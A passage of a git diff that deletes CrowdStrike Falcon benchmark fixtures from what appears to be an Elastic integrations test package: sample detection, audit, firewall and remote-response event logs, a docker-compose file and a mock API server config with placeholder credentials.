-{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":57047,"eventType":"DetectionSummaryEvent","eventCreationTime":1595002291000,"version":"1.0"},"event":{"ProcessStartTime":1595002290,"ProcessEndTime":1595002290,"ProcessId":663790158277,"ParentProcessId":627311656469,"ComputerName":"TESTDEVICE01","UserName":"First.last","DetectName":"NGAV","DetectDescription":"This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.","Severity":2,"SeverityName":"Low","FileName":"filename.exe","FilePath":"\\Device\\HarddiskVolume2\\ProgramData\\file\\path","CommandLine":"\"C:\\ProgramData\\file\\path\\filename.exe\" ","SHA256String":"0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb","MD5String":"0ab1235adca04aef6239f5496ef0a5df","SHA1String":"0000000000000000000000000000000000000000","MachineDomain":"NA","ExecutablesWritten":[{"Timestamp":1595002290,"FileName":"NEURO_200_J1939Configuration.mexw64","FilePath":"\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"},{"Timestamp":1595002290,"FileName":"NEURO_200_J1939Configuration.mexw64","FilePath":"\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"},{"Timestamp":1595002290,"FileName":"NEURO_200_J1939CanPackMessage.mexw64","FilePath":"\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"},{"Timestamp":1595002290,"FileName":"NEURO_200_J1939CanPackMessage.mexw64","FilePath":"\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"}],"FalconHostLink":"https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p","SensorId":"1abcd2345b8c4151a0cb45dcfbe6d3d0","IOCType":"hash_sha256","IOCValue":"0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb","DetectId":"ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719","LocalIP":"10.1.190.117","MACAddress":"54-ad-d4-d2-a8-0b","Tactic":"Machine Learning","Technique":"Sensor-based ML","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been blocked if related prevention policy setting was enabled.","PatternDispositionValue":2304,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false},"ParentImageFileName":"\\Device\\HarddiskVolume2\\Windows\\explorer.exe","ParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandparentImageFileName":"\\Device\\HarddiskVolume2\\Windows\\System32\\userinit.exe","GrandparentCommandLine":"C:\\Windows\\system32\\userinit.exe"}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-user-activity.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-user-activity.log
deleted file mode 100644
index 90117e7174..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-user-activity.log
+++ /dev/null
@@ -1 +0,0 @@
-{"metadata":{"customerIDString":"123123abcd","offset":3,"eventType":"UserActivityAuditEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"UserId":"TESTUSERID","UserIp":"175.16.199.1","OperationName":"detection_update","ServiceName":"detections","AuditKeyValues":[{"Key":"detection_id","ValueString":"TESTVALUE:ind:STRING123:456-123-654"}],"UTCTimestamp":1686839378,"Attributes":{"detection_id":"DETECTID:ind:TESTID:456-123-654"}}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-xdr-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-xdr-detection-summary.log
deleted file mode 100644
index 4c9af0cffd..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-xdr-detection-summary.log
+++ /dev/null
@@ -1 +0,0 @@
-{"metadata":{"customerIDString":"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","eventCreationTime":1651174243000,"eventType":"XdrDetectionSummaryEvent","offset":34280810,"version":"1.0"},"event":{"Author":"CrowdStrike","DataDomains":"Identity,Network,Endpoint","Description":"Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.","DetectId":"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:ind:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xdr|eee4a5c51106f0419184d0dd08fb05bc","EndTimeEpoch":1643317927664000000,"IPv4Addresses":"81.2.69.144,81.2.69.192","HostNames":"XDR-WIN10","Name":"Metasploit and brute force login attempt","PatternId":100011,"Severity":90,"SourceProducts":"Falcon,Corelight","SourceVendors":"CrowdStrike,Corelight","StartTimeEpoch":1643317697728000000,"TacticIds":"TA0001,TA0002","Tactics":"Initial Access,Execution","TechniqueIds":"T1566.001,T1203","Techniques":"Spearphishing Attachment,Exploitation for Client Execution","XdrType":"xdr"}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/docker-compose.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/docker-compose.yml
deleted file mode 100644
index 70aacaa240..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/docker-compose.yml
+++ /dev/null
@@ -1,20 +0,0 @@
-version: '2.3'
-services:
-  crowdstrike-logfile:
-    image: alpine
-    volumes:
-      - ./sample_logs:/sample_logs:ro
-      - ${SERVICE_LOGS_DIR}:/var/log
-    command: /bin/sh -c "cp /sample_logs/* /var/log/"
-  crowdstrike-streaming:
-    image: docker.elastic.co/observability/stream:v0.18.0
-    ports:
-      - 8080
-    volumes:
-      - ./files:/files:ro
-    environment:
-      PORT: 8080
-    command:
-      - http-server
-      - --addr=:8080
-      - --config=/files/config.yml
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/files/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/files/config.yml
deleted file mode 100644
index f8f1d24680..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/files/config.yml
+++ /dev/null
@@ -1,75 +0,0 @@
-rules:
-  - path: /oauth2/token
-    methods: ["POST"]
-    query_params:
-      client_id: slightlysecretclientid
-      client_secret: totallysecretlientsecret
-      grant_type: client_credentials
-    request_headers:
-      Content-Type:
-        - "application/x-www-form-urlencoded"
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - "application/json"
-        body: |-
-          {{ minify_json `
-          {
-            "access_token": "topsecretaccesstokenthatshouldnotbeleakedforabit",
-            "token_type": "Bearer"
-          }
-          `}}
-
-  - path: /sensors/entities/datafeed/v2
-    methods: ["GET"]
-    request_headers:
-      authorization: ["Bearer topsecretaccesstokenthatshouldnotbeleakedforabit"]
-    query_params:
-      appId: nonsecretappid
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - "application/json"
-        body: |-
-          {{ minify_json `
-          {
-              "resources": [
-                  {
-                      "dataFeedURL": "http://svc-crowdstrike-streaming:8080/events",
-                      "sessionToken": {
-                          "token": "secretsessiontoken"
-                      },
-                      "refreshActiveSessionURL": "http://svc-crowdstrike-streaming:8080/refresh",
-                      "refreshActiveSessionInterval": 1800
-                  }
-              ]
-          }
-          `}}
-
-  - path: /events
-    methods: ["GET"]
-    request_headers:
-      authorization: ["Token secretsessiontoken"]
-    query_params:
-      offset: null
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - "application/json"
-        body: |-
-          {"metadata":{"customerIDString":"abcabcabc22221","offset":1,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1698932494000,"version":"1.0"},"event":{"SessionId":"1111-fffff-4bb4-99c1-74c13cfc3e5a","HostnameField":"UKCHUDL00206","UserName":"admin.rose@example.com","StartTimestamp":1698932494,"AgentIdString":"fffffffff33333"}}
-          {"metadata":{"customerIDString":"abcabcabc22222","offset":2,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1698932494000,"version":"1.0"},"event":{"SessionId":"1111-fffff-4bb4-99c1-74c13cfc3e5a","HostnameField":"UKCHUDL00206","UserName":"admin.rose@example.com","StartTimestamp":1698932494,"AgentIdString":"fffffffff33333"}}
-          400
-          {"metadata":{"customerIDString":"abcabcabc22223","offset":3,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1698932494000,"version":"1.0"},"event":{"SessionId":"1111-fffff-4bb4-99c1-74c13cfc3e5a","HostnameField":"UKCHUDL00206","UserName":"admin.rose@example.com","StartTimestamp":1698932494,"AgentIdString":"fffffffff33333"}}
-
-  - path: /refresh
-    methods: ["POST"]
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - "application/json"
-        body: ''
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-audit-events.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-audit-events.log
deleted file mode 100644
index 1a403c955c..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-audit-events.log
+++ /dev/null
@@ -1,277 +0,0 @@
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 1045,
-        "eventType": "RemoteResponseSessionStartEvent",
-        "eventCreationTime": 1582830734000,
-        "version": "1.0"
-    },
-    "event": {
-        "SessionId": "6020260b-0398-4d41-999d-5531b55522de",
-        "HostnameField": "hostnameofmachine",
-        "UserName": "first.last@company.com",
-        "StartTimestamp": 1582830734
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 1046,
-        "eventType": "RemoteResponseSessionEndEvent",
-        "eventCreationTime": 1582830772000,
-        "version": "1.0"
-    },
-    "event": {
-        "SessionId": "6020260b-0398-4d41-999d-5531b55522de",
-        "HostnameField": "hostnameofmachine",
-        "UserName": "first.last@company.com",
-        "EndTimestamp": 1582830772
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 0,
-        "eventType": "AuthActivityAuditEvent",
-        "eventCreationTime": 1581542950710,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "api-client-id:1234567890abcdefghijklmnopqrstuvwxyz",
-        "UserIp": "10.10.0.8",
-        "OperationName": "streamStarted",
-        "ServiceName": "Crowdstrike Streaming API",
-        "Success": true,
-        "UTCTimestamp": 1581542950,
-        "AuditKeyValues": [
-            {
-                "Key": "APIClientID",
-                "ValueString": "1234567890abcdefghijklmnopqr"
-            },
-            {
-                "Key": "partition",
-                "ValueString": "0"
-            },
-            {
-                "Key": "offset",
-                "ValueString": "-1"
-            },
-            {
-                "Key": "appId",
-                "ValueString": "siem-connector-v2.0.0"
-            },
-            {
-                "Key": "eventType",
-                "ValueString": "[UserActivityAuditEvent HashSpreadingEvent RemoteResponseSessionStartEvent RemoteResponseSessionEndEvent DetectionSummaryEvent AuthActivityAuditEvent]"
-            }
-        ]
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 1,
-        "eventType": "AuthActivityAuditEvent",
-        "eventCreationTime": 1581543577147,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "alice@company.com",
-        "UserIp": "192.168.6.8",
-        "OperationName": "twoFactorAuthenticate",
-        "ServiceName": "CrowdStrike Authentication",
-        "Success": true,
-        "UTCTimestamp": 1581543577147
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 2,
-        "eventType": "AuthActivityAuditEvent",
-        "eventCreationTime": 1581545677554,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "bob@company.com",
-        "UserIp": "192.168.6.3",
-        "OperationName": "twoFactorAuthenticate",
-        "ServiceName": "CrowdStrike Authentication",
-        "Success": true,
-        "UTCTimestamp": 1581545677554
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 3,
-        "eventType": "UserActivityAuditEvent",
-        "eventCreationTime": 1581546248000,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "chris@company.com",
-        "UserIp": "192.168.6.13",
-        "OperationName": "update_group",
-        "ServiceName": "groups",
-        "AuditKeyValues": [
-            {
-                "Key": "group_id",
-                "ValueString": "3c80ce30b9654cb4bd15beec6a517e65"
-            },
-            {
-                "Key": "action_name",
-                "ValueString": "add_group_member"
-            }
-        ],
-        "UTCTimestamp": 1581546248
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 4,
-        "eventType": "AuthActivityAuditEvent",
-        "eventCreationTime": 1581601312140,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "alice@company.com",
-        "UserIp": "192.168.6.8",
-        "OperationName": "requestResetPassword",
-        "ServiceName": "CrowdStrike Authentication",
-        "Success": true,
-        "UTCTimestamp": 1581601312140,
-        "AuditKeyValues": [
-            {
-                "Key": "target_name",
-                "ValueString": "alice@company.com"
-            }
-        ]
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 5,
-        "eventType": "AuthActivityAuditEvent",
-        "eventCreationTime": 1581601341730,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "alice@company.com",
-        "UserIp": "192.168.6.8",
-        "OperationName": "twoFactorAuthenticate",
-        "ServiceName": "CrowdStrike Authentication",
-        "Success": true,
-        "UTCTimestamp": 1581601341730
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 6,
-        "eventType": "AuthActivityAuditEvent",
-        "eventCreationTime": 1581601520236,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "alice@company.com",
-        "UserIp": "192.168.6.8",
-        "OperationName": "changePassword",
-        "ServiceName": "CrowdStrike Authentication",
-        "Success": true,
-        "UTCTimestamp": 1581601520236,
-        "AuditKeyValues": [
-            {
-                "Key": "target_name",
-                "ValueString": "first.last@company.com"
-            }
-        ]
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 7,
-        "eventType": "AuthActivityAuditEvent",
-        "eventCreationTime": 1581601572362,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "alice@company.com",
-        "UserIp": "192.168.6.8",
-        "OperationName": "userAuthenticate",
-        "ServiceName": "CrowdStrike Authentication",
-        "Success": true,
-        "UTCTimestamp": 1581601572362
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 8,
-        "eventType": "AuthActivityAuditEvent",
-        "eventCreationTime": 1581601814754,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "alice@company.com",
-        "UserIp": "192.168.6.8",
-        "OperationName": "twoFactorAuthenticate",
-        "ServiceName": "CrowdStrike Authentication",
-        "Success": true,
-        "UTCTimestamp": 1581601814754
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 9,
-        "eventType": "AuthActivityAuditEvent",
-        "eventCreationTime": 1581601820289,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "alice@company.com",
-        "UserIp": "192.168.6.8",
-        "OperationName": "selfAcceptEula",
-        "ServiceName": "CrowdStrike Authentication",
-        "Success": true,
-        "UTCTimestamp": 1581601820289
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 10,
-        "eventType": "UserActivityAuditEvent",
-        "eventCreationTime": 1581603262000,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "alice@company.com",
-        "UserIp": "192.168.6.8",
-        "OperationName": "detection_update",
-        "ServiceName": "detections",
-        "AuditKeyValues": [
-            {
-                "Key": "detection_id",
-                "ValueString": "ldt:5a6fd0b7347440cd74cb84855a8aee18:17180539745"
-            },
-            {
-                "Key": "new_state",
-                "ValueString": "in_progress"
-            },
-            {
-                "Key": "assigned_to",
-                "ValueString": "First Last"
-            },
-            {
-                "Key": "assigned_to_uid",
-                "ValueString": "first.last@company.com"
-            }
-        ],
-        "UTCTimestamp": 1581603262
-    }
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-events.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-events.log
deleted file mode 100644
index 0980bf0fb6..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-events.log
+++ /dev/null
@@ -1,94 +0,0 @@
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 294564,
-        "eventType": "DetectionSummaryEvent",
-        "eventCreationTime": 1582101000000,
-        "version": "1.0"
-    },
-    "event": {
-        "ProcessStartTime": 1536846339,
-        "ProcessEndTime": 0,
-        "ProcessId": 38684386611,
-        "ParentProcessId": 38682494050,
-        "ComputerName": "alice-laptop",
-        "UserName": "alice",
-        "DetectName": "Process Terminated",
-        "DetectDescription": "Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.",
-        "Severity": 4,
-        "SeverityName": "High",
-        "FileName": "explorer.exe",
-        "FilePath": "\\Device\\HarddiskVolume1\\Windows",
-        "CommandLine": "C:\\Windows\\Explorer.EXE",
-        "SHA256String": "6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a",
-        "MD5String": "ac4c51eb24aa95b77f705ab159189e24",
-        "MachineDomain": "CORP-DOMAIN",
-        "FalconHostLink": "https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4",
-        "SensorId": "7c808b4c8878433287eea53d4a8c3268",
-        "DetectId": "ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584",
-        "LocalIP": "192.168.12.51",
-        "MACAddress": "00-00-00-11-22-33",
-        "Tactic": "Malware",
-        "Technique": "Ransomware",
-        "Objective": "Falcon Detection Method",
-        "PatternDispositionDescription": "Prevention, process killed.",
-        "PatternDispositionValue": 16,
-        "PatternDispositionFlags": {
-            "Indicator": false,
-            "Detect": false,
-            "InddetMask": false,
-            "SensorOnly": false,
-            "Rooting": false,
-            "KillProcess": true,
-            "KillSubProcess": false,
-            "QuarantineMachine": false,
-            "QuarantineFile": false,
-            "PolicyDisabled": false,
-            "KillParent": false,
-            "OperationBlocked": false,
-            "ProcessBlocked": false
-        }
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 1824,
-        "eventType": "IncidentSummaryEvent",
-        "eventCreationTime": 1583295476766,
-        "version": "1.0"
-    },
-    "event": {
-        "IncidentStartTime": 1583295228,
-        "IncidentEndTime": 1583295470,
-        "FalconHostLink": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "State": "open",
-        "FineScore": 1.2
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
-        "offset": 22865,
-        "eventType": "UserActivityAuditEvent",
-        "eventCreationTime": 1593186952000,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "Crowdstrike",
-        "UserIp": "",
-        "OperationName": "quarantined_file_update",
-        "ServiceName": "quarantined_files",
-        "AuditKeyValues": [
-            {
-                "Key": "quarantined_file_id",
-                "ValueString": "35b35a53da374816a6b471cf09e12019_a076d3121743755f2d4f8d4d5807f0bc013177f7847d09b48e76de88ace08c78"
-            },
-            {
-                "Key": "action_taken",
-                "ValueString": "quarantined"
-            }
-        ],
-        "UTCTimestamp": 1593186952
-    }
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-sample.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-sample.log
deleted file mode 100644
index 87070601c1..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-sample.log
+++ /dev/null
@@ -1,254 +0,0 @@
-{
-    "metadata": {
-        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
-        "offset": 70689,
-        "eventType": "FirewallMatchEvent",
-        "eventCreationTime": 1595248906000,
-        "version": "1.0"
-    },
-    "event": {
-        "DeviceId": "718af202ab2c4ba5b6a5d10d39c0e0a5",
-        "CustomerId": "12345a1bc2d34fghi56jk7890lmno12p",
-        "Ipv": "ipv4",
-        "CommandLine": "",
-        "ConnectionDirection": "1",
-        "EventType": "FirewallRuleIP4Matched",
-        "Flags": {
-            "Audit": false,
-            "Log": false,
-            "Monitor": true
-        },
-        "HostName": "TESTDEVICE01",
-        "ICMPCode": "",
-        "ICMPType": "",
-        "ImageFileName": "",
-        "LocalAddress": "10.37.60.194",
-        "LocalPort": "445",
-        "MatchCount": 1,
-        "MatchCountSinceLastReport": 1,
-        "NetworkProfile": "2",
-        "PID": "206158879910",
-        "PolicyName": "PROD-FW-Workstations-General",
-        "PolicyID": "74e7f1552a3a4d90a6d65578642c8584",
-        "Protocol": "6",
-        "RemoteAddress": "10.37.60.21",
-        "RemotePort": "54952",
-        "RuleAction": "2",
-        "RuleDescription": "",
-        "RuleFamilyID": "fec73e96a1bf4481be582c3f89b234fa",
-        "RuleGroupName": "SMB Rules",
-        "RuleName": "Inbound SMB Block \u0026 Log Private",
-        "RuleId": "4877172638743447345",
-        "Status": "",
-        "Timestamp": "2020-07-20T12:41:44Z",
-        "TreeID": ""
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
-        "offset": 57181,
-        "eventType": "IncidentSummaryEvent",
-        "eventCreationTime": 1595005328414,
-        "version": "1.0"
-    },
-    "event": {
-        "IncidentStartTime": 1595005316,
-        "IncidentEndTime": 1595005316,
-        "FalconHostLink": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:1234567893cd4e55b3a832ba2140478e:72e291e40c1544d390eabf135d875e54",
-        "State": "open",
-        "FineScore": 0.1,
-        "LateralMovement": 0
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
-        "offset": 70509,
-        "eventType": "AuthActivityAuditEvent",
-        "eventCreationTime": 1595247970093,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "first.last@company.com",
-        "UserIp": "67.43.156.15",
-        "OperationName": "saml2Assert",
-        "ServiceName": "Crowdstrike Authentication",
-        "Success": true,
-        "UTCTimestamp": 1595247970,
-        "AuditKeyValues": [
-            {
-                "Key": "trace_id",
-                "ValueString": "b0b33836-555c-4e0e-a5ef-d368f6799f6b"
-            },
-            {
-                "Key": "actor_user",
-                "ValueString": "first.last@company.com"
-            },
-            {
-                "Key": "actor_user_uuid",
-                "ValueString": "123ab123-abc1-12a1-12a1-12a1ab12a1a1"
-            },
-            {
-                "Key": "actor_cid",
-                "ValueString": "123456a1ab1a12abc12ab1234abcd12a"
-            },
-            {
-                "Key": "target_user",
-                "ValueString": "first.last@company.com"
-            }
-        ]
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
-        "offset": 70683,
-        "eventType": "UserActivityAuditEvent",
-        "eventCreationTime": 1595248885000,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "Crowdstrike",
-        "UserIp": "",
-        "OperationName": "quarantined_file_update",
-        "ServiceName": "quarantined_files",
-        "AuditKeyValues": [
-            {
-                "Key": "quarantined_file_id",
-                "ValueString": "ab1cde05567b455b93afbe2d3df352c9_328024a065630f897f09963d4b67b0c95d4054f540c2ca8014d5b012718bfa21"
-            },
-            {
-                "Key": "action_taken",
-                "ValueString": "quarantined"
-            }
-        ],
-        "UTCTimestamp": 1595248885
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
-        "offset": 57217,
-        "eventType": "RemoteResponseSessionStartEvent",
-        "eventCreationTime": 1595006093000,
-        "version": "1.0"
-    },
-    "event": {
-        "SessionId": "330633db-1cda-4355-b0d8-2c2edc91fe3e",
-        "HostnameField": "TESTDEVICE01",
-        "UserName": "first.last@company.com",
-        "StartTimestamp": 1595006093
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
-        "offset": 57269,
-        "eventType": "RemoteResponseSessionEndEvent",
-        "eventCreationTime": 1595006899000,
-        "version": "1.0"
-    },
-    "event": {
-        "SessionId": "330633db-1cda-4355-b0d8-2c2edc91fe3e",
-        "HostnameField": "TESTDEVICE01",
-        "UserName": "first.last@company.com",
-        "EndTimestamp": 1595006899,
-        "Commands": [
-            "cd \\Program Files (x86)\\Symantec",
-            "ls .",
-            "cd \\Program Files (x86)",
-            "ls .",
-            "reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default",
-            "reg set HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default GroupingTags -ValueType=```REG_SZ``` -Value=```Protect```",
-            "reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default",
-            "restart",
-            "restart -Confirm"
-        ]
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
-        "offset": 57047,
-        "eventType": "DetectionSummaryEvent",
-        "eventCreationTime": 1595002291000,
-        "version": "1.0"
-    },
-    "event": {
-        "ProcessStartTime": 1595002290,
-        "ProcessEndTime": 1595002290,
-        "ProcessId": 663790158277,
-        "ParentProcessId": 627311656469,
-        "ComputerName": "TESTDEVICE01",
-        "UserName": "First.last",
-        "DetectName": "NGAV",
-        "DetectDescription": "This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.",
-        "Severity": 2,
-        "SeverityName": "Low",
-        "FileName": "filename.exe",
-        "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path",
-        "CommandLine": "\"C:\\ProgramData\\file\\path\\filename.exe\" ",
-        "SHA256String": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb",
-        "MD5String": "0ab1235adca04aef6239f5496ef0a5df",
-        "SHA1String": "0000000000000000000000000000000000000000",
-        "MachineDomain": "NA",
-        "ExecutablesWritten": [
-            {
-                "Timestamp": 1595002290,
-                "FileName": "NEURO_200_J1939Configuration.mexw64",
-                "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"
-            },
-            {
-                "Timestamp": 1595002290,
-                "FileName": "NEURO_200_J1939Configuration.mexw64",
-                "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"
-            },
-            {
-                "Timestamp": 1595002290,
-                "FileName": "NEURO_200_J1939CanPackMessage.mexw64",
-                "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"
-            },
-            {
-                "Timestamp": 1595002290,
-                "FileName": "NEURO_200_J1939CanPackMessage.mexw64",
-                "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"
-            }
-        ],
-        "FalconHostLink": "https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p",
-        "SensorId": "1abcd2345b8c4151a0cb45dcfbe6d3d0",
-        "IOCType": "hash_sha256",
-        "IOCValue": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb",
-        "DetectId": "ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719",
-        "LocalIP": "10.1.190.117",
-        "MACAddress": "54-ad-d4-d2-a8-0b",
-        "Tactic": "Machine Learning",
-        "Technique": "Sensor-based ML",
-        "Objective": "Falcon Detection Method",
-        "PatternDispositionDescription": "Detection, process would have been blocked if related prevention policy setting was enabled.",
-        "PatternDispositionValue": 2304,
-        "PatternDispositionFlags": {
-            "Indicator": false,
-            "Detect": false,
-            "InddetMask": false,
-            "SensorOnly": false,
-            "Rooting": false,
-            "KillProcess": false,
-            "KillSubProcess": false,
-            "QuarantineMachine": false,
